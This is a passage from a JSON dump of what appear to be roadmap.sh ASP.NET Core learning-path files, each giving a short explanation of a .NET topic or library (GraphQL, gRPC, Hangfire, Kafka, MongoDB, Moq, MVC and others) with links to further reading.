    "content": "# Repo Hosting Services\n\nThere are different repository hosting services with the most famous one being GitHub, GitLab and BitBucket. I would recommend creating an account on GitHub because that is where most of the OpenSource work is done and most of the developers are.\n\nVisit the following resources to learn more:\n\n- [@opensource@GitHub: Where the world builds software](https://github.com)\n- [@opensource@GitLab: Iterate faster, innovate together](https://gitlab.com)\n- [@article@BitBucket: The Git solution for professional teams](https://bitbucket.com)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/gitlab-cicd@8Y73Ae32eo6_ye7dw5QRQ.md",
    "content": "# GitLab CI/CD"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/graphql-net@Efxu9gDodODMTKJbWcXzB.md",
    "content": "# GraphQL .NET\n\nGraphQL is a query language for your API, it allows clients to define the structure of the data they need, and the server will return only the requested data. It is an alternative to RESTful web services, and it is gaining popularity because of its flexibility and efficiency.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to GraphQL .NET in ASP.NET](https://graphql-dotnet.github.io/docs/getting-started/introduction/)\n- [@article@How to use GraphQL in .NET?](https://softchris.github.io/pages/dotnet-graphql.html)\n- [@article@Building and consuming GraphQL API in ASP.NET](https://www.red-gate.com/simple-talk/development/dotnet-development/building-and-consuming-graphql-api-in-asp-net-core-5/)\n- [@feed@Explore top posts about GraphQL](https://app.daily.dev/tags/graphql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/graphql@BdTQ5ZMNDNZvkAUoCfL5H.md",
    "content": "# GraphQL\n\nGraphQL is a query language for your API that allows clients to define the structure of the data they need, and the server will return only the requested data. It is an alternative to RESTful web services, and it is gaining popularity because of its flexibility and efficiency.\n\nIn [ASP.NET](http://ASP.NET), GraphQL can be used to create web services that expose data in a more flexible and efficient way. There are several libraries available to implement GraphQL in an [ASP.NET](http://ASP.NET) application, such as [GraphQL.NET](http://GraphQL.NET), Hot Chocolate, and others. These libraries provide a set of classes and methods that make it easy to create a GraphQL schema, handle requests, and generate responses.\n\nVisit the following resources to learn more:\n\n- [@article@How to implement GraphQL in ASP.Net](https://blog.christian-schou.dk/how-to-implement-graphql-in-asp-net-core/)\n- [@article@Intro to GraphQL](https://graphql-dotnet.github.io/docs/getting-started/introduction/)\n- [@article@Developing API In .NET Core With GraphQL](https://www.c-sharpcorner.com/article/building-api-in-net-core-with-graphql2/)\n- [@feed@Explore top posts about GraphQL](https://app.daily.dev/tags/graphql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/gridlify@w5RnrhsP4p-AdSOLYVAY9.md",
    "content": "# Gridify\n\nGridify offers a powerful string-based dynamic LINQ query language that is both simple and easy to use. Gridify is a dynamic LINQ library that simplifies the process of converting strings to LINQ queries. Gridify makes it effortless to apply filtering, sorting, and pagination using text-based data. It also has a Javascript/Typescript client to integrate the Gridify with the frontend tables.\n\nVisit the following resources to learn more:\n\n- [@opensource@Gridify Library](https://github.com/alirezanet/Gridify)\n- [@article@Working with Dynamic Filters Using Gridify in .NET](https://levelup.gitconnected.com/working-with-dynamic-filters-using-gridify-in-net-6bba618dd9f8)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/grpc@x3SJlLc19DNJ-PyDOOj_G.md",
    "content": "# gRPC\n\ngRPC is a high-performance, open-source framework for building remote procedure call (RPC) APIs. It uses the Protocol Buffers data serialization format and the HTTP/2 protocol to create highly efficient and scalable APIs. gRPC supports a variety of programming languages, including C# and [ASP.NET](http://ASP.NET).\n\nIn [ASP.NET](http://ASP.NET), gRPC can be used to create high-performance, low-latency APIs for a variety of use cases. gRPC allows for bi-directional streaming of data, which can be useful for real-time applications such as gaming, financial trading, and more.\n\nVisit the following resources to learn more:\n\n- [@article@Overview for gRPC on .NET](https://learn.microsoft.com/en-us/aspnet/core/grpc/?view=aspnetcore-7.0)\n- [@article@Getting Started with ASP.NET Core and gRPC](https://blog.jetbrains.com/dotnet/2021/07/19/getting-started-with-asp-net-core-and-grpc/)\n- [@article@Create a gRPC client & server in ASP.NET](https://learn.microsoft.com/en-us/aspnet/core/tutorials/grpc/grpc-start?view=aspnetcore-7.0&tabs=visual-studio)\n- [@feed@Explore top posts about gRPC](https://app.daily.dev/tags/grpc?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/hangfire@QiQsx1udyKcPJ-lZjRQVy.md",
    "content": "# Hangfire\n\nHangfire is an open-source, lightweight library for .NET that allows you to easily perform background processing in your [ASP.NET](http://ASP.NET) application. It provides a simple and elegant way to run background jobs, schedule future tasks, and monitor the progress of your background jobs.\n\nHangfire uses a storage backend, such as SQL Server or Redis, to persist the state of your background jobs. This allows you to easily scale your background processing and to monitor and manage your background jobs, even if your application restarts or crashes.\n\nVisit the following resources to learn more:\n\n- [@article@Hangfire with ASP.NET Core](https://code-maze.com/hangfire-with-asp-net-core/)\n- [@article@Intro to Hangfire](https://www.partech.nl/nl/publicaties/2021/05/a-beginners-guide-to-hangfire)\n- [@article@How to use Hangfire with ASP.NET](https://blog.christian-schou.dk/how-to-use-hangfire-with-asp-net-core-5-0-api/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/hotchocolate@XMrQx9JH0eSQJpMzhvy0F.md",
    "content": "# Hot Chocolate\n\nHot Chocolate is a GraphQL server implementation for .NET and .NET Core. It is an open-source library that provides a simple and flexible way to build GraphQL APIs in [ASP.NET](http://ASP.NET).\n\nHot Chocolate provides a set of classes and methods that make it easy to create a GraphQL schema, handle requests, and generate responses. It also provides a number of features to help with things such as validation, authorization, caching, and more.\n\nVisit the following resources to learn more:\n\n- [@article@Getting started with HotChocolate](https://learn.microsoft.com/en-us/shows/on-net/getting-started-with-hotchocolate)\n- [@article@ASP.NET Core and HotChocolate](https://chillicream.com/docs/hotchocolate/v12/api-reference/aspnetcore)\n- [@article@Intro to HotChocolate](https://chillicream.com/docs/hotchocolate)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/http--https-protocol@YI3cAezupWNntFw4B6elY.md",
    "content": "# HTTP\n\nHTTP is the `TCP/IP` based application layer communication protocol which standardizes how the client and server communicate with each other. It defines how the content is requested and transmitted across the internet.\n\nHTTPS\n=====\n\nHTTPS (**H**ypertext **T**ransfer **P**rotocol **S**ecure) is the secure version of HTTP, which is the primary protocol used to send data between a web browser and a website.\n\n`HTTPS = HTTP + SSL/TLS`\n\nVisit the following resources to learn more:\n\n- [@article@Everything you need to know about HTTP](https://cs.fyi/guide/http-in-depth)\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@An overview of HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview)\n- [@article@HTTP/3 From A To Z: Core Concepts](https://www.smashingmagazine.com/2021/08/http3-core-concepts-part1/)\n- [@article@What is HTTPS?](https://www.cloudflare.com/en-gb/learning/ssl/what-is-https/)\n- [@article@Why HTTPS Matters](https://developers.google.com/web/fundamentals/security/encrypt-in-transit/why-https)\n- [@article@Enabling HTTPS on Your Servers](https://web.dev/enable-https/)\n- [@article@How HTTPS works (comic)](https://howhttps.works/)\n- [@video@HTTP Crash Course & Exploration](https://www.youtube.com/watch?v=iYM2zFP3Zn0)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/kafka@L8RkeMYm0WGNeLLcHKF1R.md",
    "content": "# Apache Kafka\n\nApache Kafka is an open-source, distributed event streaming platform that is used for building real-time data pipelines and streaming applications. It is designed to handle high volumes of data and to support real-time data processing.\n\nKafka is based on a publish-subscribe model, where producers write data to topics, and consumers read data from those topics. Data is stored in topics in a log-based format, which allows for efficient storage and retrieval of data.\n\nVisit the following resources to learn more:\n\n- [@article@Working with Apache Kafka in ASP.NET](https://www.codemag.com/Article/2201061/Working-with-Apache-Kafka-in-ASP.NET-6-Core)\n- [@article@Kafka and .NET](https://docs.confluent.io/kafka-clients/dotnet/current/overview.html)\n- [@feed@Explore top posts about Apache](https://app.daily.dev/tags/apache?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/kubernetes@02rtFStTeIm8prNskxaUN.md",
    "content": "# Kubernetes\n\nKubernetes is an [open source](https://github.com/kubernetes/kubernetes) container management platform, and the dominant product in this space. Using Kubernetes, teams can deploy images across multiple underlying hosts, defining their desired availability, deployment logic, and scaling logic in YAML. Kubernetes evolved from Borg, an internal Google platform used to provision and allocate compute resources (similar to the Autopilot and Aquaman systems of Microsoft Azure).\n\nThe popularity of Kubernetes has made it an increasingly important skill for the DevOps Engineer and has triggered the creation of Platform teams across the industry. These Platform engineering teams often exist with the sole purpose of making Kubernetes approachable and usable for their product development colleagues.\n\nVisit the following resources to learn more:\n\n- [@official@Kubernetes Website](https://kubernetes.io/)\n- [@official@Kubernetes Documentation](https://kubernetes.io/docs/home/)\n- [@article@Primer: How Kubernetes Came to Be, What It Is, and Why You Should Care](https://thenewstack.io/primer-how-kubernetes-came-to-be-what-it-is-and-why-you-should-care/)\n- [@article@Kubernetes: An Overview](https://thenewstack.io/kubernetes-an-overview/)\n- [@video@Kubernetes Crash Course for Absolute Beginners](https://www.youtube.com/watch?v=s_o8dwzRlu4)\n- [@feed@Explore top posts about Kubernetes](https://app.daily.dev/tags/kubernetes?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/lazy-eager-explicit-loading@9AMotSwdEbB8uOg80SykE.md",
    "content": "# Lazy Eager Explicit Loading\n\nEager Loading\n-------------\n\nEager Loading helps you to load all your needed entities at once; i.e., all your child entities will be loaded at single database call. This can be achieved, using the Include method, which returns the related entities as a part of the query and a large amount of data is loaded at once.\n\nLazy Loading\n------------\n\nIt is the default behavior of an Entity Framework, where a child entity is loaded only when it is accessed for the first time. It simply delays the loading of the related data, until you ask for it.\n\nVisit the following resources to learn more:\n\n- [@article@Eager Loading & Lazy Loading](https://www.c-sharpcorner.com/article/eager-loading-lazy-loading-and-explicit-loading-in-entity-framework/)\n- [@article@Difference between Eager and Lazy Loading](https://stackoverflow.com/questions/31366236/lazy-loading-vs-eager-loading)\n- [@article@Working With Lazy & Eager Loading in Entity Framework](https://dzone.com/articles/working-with-lazy-loading-and-eager-loading-in-ent)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/learn-the-basics-of-c@NvODRFR0DLINB0RlPSsvt.md",
    "content": "# C#\n\nC# (pronounced \"C-sharp\") is a general-purpose, object-oriented programming language developed by Microsoft. It is part of the .NET family of languages and is used to build a wide range of applications, from web and mobile applications to games and cloud services.\n\nC# is a statically-typed language, which means that the type of a variable must be specified when it is declared, and that the type of a value cannot be changed after it has been assigned. C# also supports object-oriented programming, which means that it provides features such as encapsulation, inheritance, and polymorphism.\n\nC# is a popular language for building .NET applications, and it is used by many large companies and organizations, including Microsoft, Dell, and IBM. It is a versatile language that can be used for a wide range of purposes, and it is well-suited for building scalable and maintainable software systems.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to C#](https://learn.microsoft.com/en-us/dotnet/csharp/tour-of-csharp/tutorials/)\n- [@article@Basics Of C#](https://www.c-sharpcorner.com/UploadFile/e9fdcd/basics-of-C-Sharp/)\n- [@article@C# Tutorials](https://dotnettutorials.net/course/csharp-dot-net-tutorials/)\n- [@feed@Explore top posts about C#](https://app.daily.dev/tags/csharp?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/life-cycles@Tjaczp2E-cCn0qSv89xgo.md",
    "content": "# Life Cycles\n\nIn [ASP.NET](http://ASP.NET), dependency injection (DI) lifecycles determine the lifetime of objects that are resolved through the DI container. There are several predefined lifecycle options in the `Microsoft.Extensions.DependencyInjection` library, including:\n\n*   **Transient:** A new instance of the object is created every time it is requested.\n*   **Scoped:** A new instance of the object is created for each request within the same scope.\n*   **Singleton:** A single instance of the object is created and shared across the entire application.\n\nAdditionally, you can also create a custom lifecycle by implementing the `Microsoft.Extensions.DependencyInjection.IServiceScopeFactory` interface\n\nVisit the following resources to learn more:\n\n- [@article@What are Service Life Cyles in ASP.NET Core?](https://endjin.com/blog/2022/09/service-lifetimes-in-aspnet-core)\n- [@article@Learn Service Lifetimes in .NET Core](https://henriquesd.medium.com/dependency-injection-and-service-lifetimes-in-net-core-ab9189349420)\n- [@video@Complete Guide to Dependency Injection Lifecycles](https://www.youtube.com/watch?v=wA5bPsv2CLA)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/light-bdd@aWRv5sU9dksgcpE9RGJb1.md",
    "content": "# LightBDD\n\nLightBDD is an open-source, lightweight, and easy-to-use BDD (Behavior-Driven Development) framework for .NET, which allows developers to write automated acceptance tests in a simple and readable format. LightBDD is commonly used in the context of [ASP.NET](http://ASP.NET) and other .NET technologies, to write acceptance tests for web applications. LightBDD is designed to provide a simple, yet powerful, way to write BDD tests. It allows developers to write tests using a fluent API, which allows them to describe the behavior of their application in a natural language format. The framework also provides a set of extension methods, which can be used to add additional functionality, such as validating the output of a test, logging test results, or integrating with other testing tools. LightBDD also comes with a built-in test runner, which makes it easy to execute tests and view the results. The framework supports a variety of test runners, such as NUnit, xUnit, and MSTest, and can be integrated with other BDD frameworks, such as SpecFlow and Cucumber.\n\nVisit the following resources to learn more:\n\n- [@opensource@The Lightweight Behavior Driven Development test framework](https://github.com/LightBDD/LightBDD)\n- [@video@Getting started with Behavior Driven Development (BDD) in .NET](https://www.youtube.com/watch?v=EEeVU0z26u0)\n- [@video@Introduction To BDD using SpecFlow in ASP.NET](https://www.youtube.com/watch?v=8KPrhBqZ-kk)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/litedb@3gcXaOnHL4v5OoStrTWNV.md",
    "content": "# LiteDB\n\nLiteDB is a lightweight, open-source, NoSQL embedded document-oriented database engine for .NET and .NET Core. It uses a file-based storage system, meaning that the entire database is stored in a single file on disk. It uses a similar syntax to MongoDB, but it is designed to be simple and easy to use, and it does not require a separate server or installation.\n\nLiteDB supports data types like string, int, decimal, DateTime, and also supports binary data and serialized objects. It also supports LINQ, transactions, indexes and collections.\n\nVisit the following resources to learn more:\n\n- [@official@Getting started with LiteDB](https://www.litedb.org/)\n- [@official@Overview of LiteDB in ASP.NET](https://www.litedb.org/docs/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/log-frameworks@fQ3w8REYWzQfeJ0nPyq6W.md",
    "content": "# Log Frameworks\n\nIn [ASP.NET](http://ASP.NET), log frameworks are libraries that provide a way to log and analyze data in an application. Some popular log frameworks for [ASP.NET](http://ASP.NET) include:\n\n*   Serilog\n*   NLog\n*   Log4Net\n*   ELMAH\n*   Microsoft.Extensions.Logging\n\nThese are some of the most popular log frameworks in [ASP.NET](http://ASP.NET), each of them has its own set of features and use cases, and the choice of which log framework to use will depend on the specific requirements of the application.\n\nVisit the following resources to learn more:\n\n- [@article@Implement logging in ASP.NET](https://learn.microsoft.com/en-us/training/modules/aspnet-logging/)\n- [@article@ASP.NET Core: Logging with log4net](https://www.linkedin.com/learning/asp-dot-net-core-logging-with-log4net)\n- [@feed@Explore top posts about Logging](https://app.daily.dev/tags/logging?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/manual-mapping@oMMBzRrHkUymxAR4oqr75.md",
    "content": "# Manual Mapping\n\nManual object mapping in [ASP.NET](http://ASP.NET) Core means explicitly assigning values from one object to another without using third-party libraries like AutoMapper. This approach gives you full control over how properties are mapped and allows for custom transformations if needed.\n\nFor instance, if an **Employee** entity has properties such as Id, Name, Email, and Department, and we need to convert it into an **EmployeeDTO** without exposing sensitive data like Id, a manual mapping method can selectively map only the necessary fields. However, it comes with trade-offs, such as increased boilerplate code and the need for manual updates whenever the data model changes. In a real-world [ASP.NET](http://ASP.NET) Core application, manual mapping can be implemented using static helper methods or extension methods that take an entity as input and return a DTO, ensuring that the mapping logic remains centralized and reusable across different parts of the application.\n\nVisit the following resources to learn more:\n\n- [@article@Manual vs Automapping in ASP.NET?](https://medium.com/@anderson.buenogod/manual-vs-automated-mapping-in-c-which-approach-is-best-for-your-project-50de1fd73bfa)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/mapperly@x0OopRTwIvoWgT8qi0CE9.md",
    "content": "# Mapperly"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/mariadb@Gs8XcsTo11MeCsiSGpjkU.md",
    "content": "# MariaDB\n\nMariaDB is an open-source relational database management system (RDBMS) that is a fork of the MySQL database. It is fully compatible with MySQL, but it also includes additional features and improvements. MariaDB is developed and maintained by the MariaDB Corporation and the MariaDB community, and it is widely used as a replacement for MySQL in many web and enterprise applications.\n\nIn an [ASP.NET](http://ASP.NET) application, MariaDB can be used as the underlying database for storing and retrieving data. There are several libraries available for integrating MariaDB with an [ASP.NET](http://ASP.NET) application, such as MariaDB.Data, MySql.Data, and Dapper. These libraries provide a .NET client for MariaDB, which can be used to interact with the MariaDB database from within an [ASP.NET](http://ASP.NET) application.\n\nVisit the following resources to learn more:\n\n- [@official@Working with MariaDB and .Net](https://mariadb.com/kb/en/mariadb-and-net/)\n- [@article@How to use MariaDB in ASP.NET?](https://blog.georgekosmidis.net/using-mariadb-in-an-aspnet-core-api-with-entity-framework-core.html)\n- [@article@Building an application with ASP.NET & MariaDB](https://medium.com/@BMatt92656920/building-a-web-application-with-asp-net-core-mvc-entity-framework-core-mariadb-bootstrap-a2bf0927d20e)\n- [@feed@Explore top posts about Infrastructure](https://app.daily.dev/tags/infrastructure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/marten@ipb6proIZKG-_vCOMAiBu.md",
    "content": "# Marten"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/mass-transit@SQKIUa_UsJ4cls-Vs9yHU.md",
    "content": "# MassTransit\n\nMassTransit is an open-source, highly configurable service bus framework for building distributed systems using the .NET framework. It allows developers to easily create message-based, loosely-coupled applications by providing a simple and fluent API for defining message contracts, handling messages, and managing message routing.\n\nIt supports multiple messaging transports such as RabbitMQ, Azure Service Bus, Amazon SQS and others, automatic serialization and deserialization of messages, automatic retries and exception handling for failed message deliveries, and support for advanced messaging patterns like publish-subscribe, request-response, and event-driven architectures.\n\nVisit the following resources to learn more:\n\n- [@opensource@Complete guide to MassTransit](https://github.com/MassTransit/MassTransit)\n- [@article@Using MassTransit with RabbitMQ in ASP.NET Core](https://code-maze.com/masstransit-rabbitmq-aspnetcore/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/mediatr@cc0UNQwbDlySue-CvpChR.md",
    "content": "# MediatR\n\nMediatR is an open-source library for .NET that is designed to simplify the process of handling messages and commands in a clean, decoupled manner. It's particularly useful in applications that use the Command-Query Responsibility Segregation (CQRS) pattern and event-driven architecture. It provides a simple and easy-to-use API for handling messages, and supports the concept of pipelines, which allow you to add additional behavior to message handling, such as logging, validation, and exception handling.\n\nVisit the following resources to learn more:\n\n- [@article@Use MediatR in ASP.NET or ASP.NET Core](https://medium.com/dotnet-hub/use-mediatr-in-asp-net-or-asp-net-core-cqrs-and-mediator-in-dotnet-how-to-use-mediatr-cqrs-aspnetcore-5076e2f2880c)\n- [@article@How to implement CQRS using MediatR in an ASP.NET?](https://christian-schou.dk/blog/how-to-implement-cqrs-with-mediatr-in-asp-net/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/memcached@u2pc3ZkL0EumAsbM12D5y.md",
    "content": "# Memcached\n\nMemcached is an open-source, high-performance, distributed memory object caching system which helps in reducing database load. It maintains data as an in-memory key-value store for small chunks of arbitrary data (strings, objects) which can be result of API calls, database reads and so on.\n\nVisit the following resources to learn more:\n\n- [@official@Intro to Memcached](https://memcached.org/)\n- [@article@Using Memcached as Distributed Cache in .NET Core](https://dotnetcorecentral.com/blog/using-memcached-as-distributed-cache-in-net-core/)\n- [@video@Memcached as Distributed Cache in .Net Core Application](https://www.youtube.com/watch?v=yQ8Kwx9M_Hg)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/memory-cache@8CRsr7UZszjc_fZ-4ZmIx.md",
    "content": "# Memory Cache\n\nMemory caching (often simply referred to as caching) is a technique in which computer applications temporarily store data in a computer’s main memory (i.e., random access memory, or RAM) to enable fast retrievals of that data. The RAM that is used for the temporary storage is known as the cache.\n\nVisit the following resources to learn more:\n\n- [@article@Cache in-memory in ASP.NET Core](https://learn.microsoft.com/en-us/aspnet/core/performance/caching/memory?view=aspnetcore-7.0)\n- [@article@What is Memory Caching?](https://hazelcast.com/glossary/memory-caching/)\n- [@video@Intro to In-Memory Caching in C#](https://www.youtube.com/watch?v=2jj2wH60QuE)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/microservices@37c2eCvRdebztkbc5AjYp.md",
    "content": "# Microservices\n\nMicroservices are a software architectural style in which a large application is built as a set of small, independent services that communicate with each other through APIs. These services are typically built using different technologies and run in their own processes, and can be deployed, scaled, and updated independently.\n\nIn [ASP.NET](http://ASP.NET), microservices can be built using the .NET Core framework, which is a cross-platform, open-source version of the .NET framework that can run on Windows, Linux, and macOS. Each microservice can be built as a self-contained, small web application that handles a specific set of functionality, such as user management, product catalog, or order processing.\n\nVisit the following resources to learn more:\n\n- [@article@Intro to Microservices Using ASP.NET Core](https://www.c-sharpcorner.com/article/microservice-using-asp-net-core/)\n- [@article@Advantages and Disadvantages of Microservices Architecture](https://www.dotnettricks.com/learn/microservices/architecture-example-advantages)\n- [@feed@Explore top posts about Microservices](https://app.daily.dev/tags/microservices?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/microsoftextensions@J9XdYLo7qJiBoL8p3c68P.md",
    "content": "# Microsoft Extensions Dependency Injection\n\nMicrosoft.Extensions.DependencyInjection is a dependency injection framework that is part of the Microsoft.Extensions.DependencyInjection NuGet package. It is used to create and manage instances of objects and their dependencies, and is particularly useful for implementing the Dependency Inversion Principle in .NET applications.\n\nThe package provides a simple and consistent API for registering services and resolving dependencies, which can be used to configure and manage the lifetime of objects in an application. It also provides built-in support for various types of service lifetime, such as transient, singleton and scoped.\n\nVisit the following resources to learn more:\n\n- [@article@Guide to Microsoft Extensions Dependency Injection](https://learn.microsoft.com/en-us/dotnet/api/microsoft.extensions.dependencyinjection?view=dotnet-plat-ext-7.0)\n- [@article@Exploring the Microsoft.Extensions.DependencyInjection](https://www.codeproject.com/Articles/5339241/Exploring-the-Microsoft-Extensions-DependencyInjec)\n- [@article@How to use Microsoft.Extensions.DependencyInjection](https://stackoverflow.com/questions/53825155/how-can-i-use-microsoft-extensions-dependencyinjection-in-an-net-core-console-a)\n- [@feed@Explore top posts about Microsoft](https://app.daily.dev/tags/microsoft?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/middlewares@dG--AAcZZdltYCeg6zCz2.md",
    "content": "# Middlewares\n\nMiddleware is software that sits between an operating system and application software, and facilitates communication and data exchange between them. In the context of web development, middleware refers to software components that handle requests and responses in a web application. These components are typically executed in a pipeline, with each component performing a specific task, such as authentication, logging, or routing.\n\nIn the [ASP.NET](http://ASP.NET) Core framework, middleware is a key concept that is used to build web applications. Middleware components are added to the application pipeline using the `IApplicationBuilder` interface, and are executed in the order in which they are added. For example, an application might have middleware components for handling authentication, logging, and routing, in that order.\n\nVisit the following resources to learn more:\n\n- [@article@What is Middleware?](https://www.redhat.com/en/topics/middleware/what-is-middleware)\n- [@article@Introduction to Middleware](https://www.techtarget.com/searchapparchitecture/definition/middleware)\n- [@article@What is Middleware in .NET?](https://www.talend.com/resources/what-is-middleware/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/minimal-apis@ipABerBcM9zCte9pYaIse.md",
    "content": "# Minimal APIs\n\nMinimal APIs is a lightweight approach to building HTTP APIs in .NET with minimal ceremony. It is designed for simplicity and performance, making it ideal for microservices, serverless applications, and small web services. Minimal APIs provide a streamlined way to define routes, handle requests, and return responses without requiring controllers or extensive configuration. They leverage top-level statements, reducing boilerplate code while maintaining flexibility and scalability.\n\nMinimal APIs support dependency injection, middleware, model binding, and validation. They also integrate seamlessly with OpenAPI (Swagger) for API documentation. Their simplicity makes them an excellent choice for building fast and efficient web applications with .NET.\n\nVisit the following resources to learn more:\n\n- [@article@Minimal APIs in .NET 8: A Simplified Approach to Build Services](https://medium.com/codenx/minimal-apis-in-net-8-a-simplified-approach-to-build-services-eb50df56819f)\n- [@article@Introduction to ASP.NET Core Minimal APIs](https://blog.jetbrains.com/dotnet/2023/04/25/introduction-to-asp-net-core-minimal-apis/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/mongodb@-wYRa8qSuKVKo_yOTKV67.md",
    "content": "# MongoDB\n\nMongoDB is a cross-platform, open-source, NoSQL document-oriented database that can be used to store and retrieve large amounts of data. It uses a flexible, JSON-like data structure called BSON (binary JSON) and it is designed to handle large amounts of unstructured data.\n\nIn an [ASP.NET](http://ASP.NET) application, MongoDB can be used as a data store to persist and retrieve application data. There are several libraries available for integrating MongoDB with an [ASP.NET](http://ASP.NET) application, such as MongoDB.Driver and C# MongoDB Driver. These libraries provide a .NET client for MongoDB, which can be used to interact with the MongoDB server from within an [ASP.NET](http://ASP.NET) application.\n\nVisit the following resources to learn more:\n\n- [@article@Use MongoDB in Your C# ASP.NET Apps](https://developer.okta.com/blog/2020/01/02/mongodb-csharp-aspnet-datastore)\n- [@article@MongoDB With ASP.NET Core Web API](https://www.c-sharpcorner.com/article/using-mongodb-with-asp-net-core-web-api/)\n- [@feed@Explore top posts about MongoDB](https://app.daily.dev/tags/mongodb?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/moq@eyOXWb1kL80Wqiwc2WHd_.md",
    "content": "# Moq\n\nMoq is an open-source library for .NET that allows developers to create mock objects for use in unit testing, it is a popular mocking framework that provides a simple and intuitive syntax for creating mock objects and setting up mock behavior. In the context of [ASP.NET](http://ASP.NET), Moq can be used to create mock objects for testing web applications built using the [ASP.NET](http://ASP.NET) framework, it provides a simple and expressive syntax for creating mock objects and setting up mock behavior. Moq supports a wide range of testing frameworks, including MSTest, NUnit, and xUnit and it also supports various platforms including .NET Framework, .NET Core and Xamarin. Moq is lightweight and easy to use, making it a good choice for developers who are new to mocking and unit testing, it also provides a rich set of features, such as support for setting up mock behavior, making assertions on calls made to the mock objects, and more.\n\nVisit the following resources to learn more:\n\n- [@article@What is use of Moq?](https://stackoverflow.com/questions/678878/what-is-use-of-moq)\n- [@article@Moq - Unit Test In .NET Core App](https://www.c-sharpcorner.com/article/moq-unit-test-net-core-app-using-mock-object/)\n- [@video@Getting started with Mocking using Moq in .NET](https://www.youtube.com/watch?v=9ZvDBSQa_so)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/mstest@236VJJjMvqHfSj-MHSDPV.md",
    "content": "# MSTest\n\nMSTest is a unit testing framework for the .NET framework, it's one of the built-in test frameworks in Visual Studio and it's widely used for unit testing in the .NET ecosystem. In the context of [ASP.NET](http://ASP.NET), MSTest can be used to write unit tests for web applications built using the [ASP.NET](http://ASP.NET) framework. MSTest provides features such as data-driven testing, parallel test execution, and test discovery and execution, it also provides the ability to run tests on multiple frameworks.\n\nVisit the following resources to learn more:\n\n- [@article@.NET Core testing with MSTest](https://www.oreilly.com/library/view/c-and-net/9781788292481/aa08c601-f374-4e31-be8e-8eb69d63bd19.xhtml)\n- [@article@Unit testing with MSTest and .NET](https://learn.microsoft.com/en-us/dotnet/core/testing/unit-testing-with-mstest)\n- [@article@Complete Guide of MSTest for Unit Testing in ASP.NET](https://sweetcode.io/a-complete-guide-of-mstest-for-unit-testing-in-asp-net/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/mvc@D3aQw0-pk3ycO-n10HBaA.md",
    "content": "# MVC\n\nMVC is an architectural design pattern used for developing applications, specifically web applications. This pattern separates an application into three main logical components **Model View Controller**. Each architectural component is built to handle specific development aspects of an application.\n\n*   **Model** - Handles all data-related logic. Interacts with Database.\n*   **View** - Handles UI part of the applications (data presentation).\n*   **Controller** - Handles request flow, and acts as an intermediary between view and model.\n\nVisit the following resources to learn more:\n\n- [@article@MVC Official Documentation](https://learn.microsoft.com/en-us/aspnet/core/mvc/overview?WT.mc_id=dotnet-35129-website&view=aspnetcore-7.0)\n- [@article@ASP.NET MVC Architecture](https://www.tutorialsteacher.com/mvc/mvc-architecture)\n- [@article@MVC Framework - Introduction](https://www.tutorialspoint.com/mvc_framework/mvc_framework_introduction.htm)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/mysql@WsGwg4qdlu_vBsFEpmBvU.md",
    "content": "# MySQL\n\nMySQL is an open-source relational database management system (RDBMS) that is widely used in web and enterprise applications. It is developed, distributed, and supported by Oracle Corporation. MySQL provides a rich set of features to handle high-performance, high-availability, and high-scalability requirements of modern web applications.\n\nIn an [ASP.NET](http://ASP.NET) application, MySQL can be used as the underlying database for storing and retrieving data. There are several libraries available for integrating MySQL with an [ASP.NET](http://ASP.NET) application, such as MySql.Data, Dapper and EF Core. These libraries provide a .NET client for MySQL, which can be used to interact with the MySQL database from within an [ASP.NET](http://ASP.NET) application.\n\nVisit the following resources to learn more:\n\n- [@article@Getting started with ASP.NET Core and MySQL](https://dev.mysql.com/blog-archive/getting-started-with-asp-net-core-and-mysql-connectornet/)\n- [@article@MySql database connectivity with ASP.Net](https://www.c-sharpcorner.com/UploadFile/brij_mcn/mysql-database-connectivity-with-Asp-Net/)\n- [@video@How To Connect MySQL With ASP.NET](https://www.youtube.com/watch?v=g5rVd1JGbIg)\n- [@feed@Explore top posts about MySQL](https://app.daily.dev/tags/mysql?ref=roadmapsh)"
  },
  {
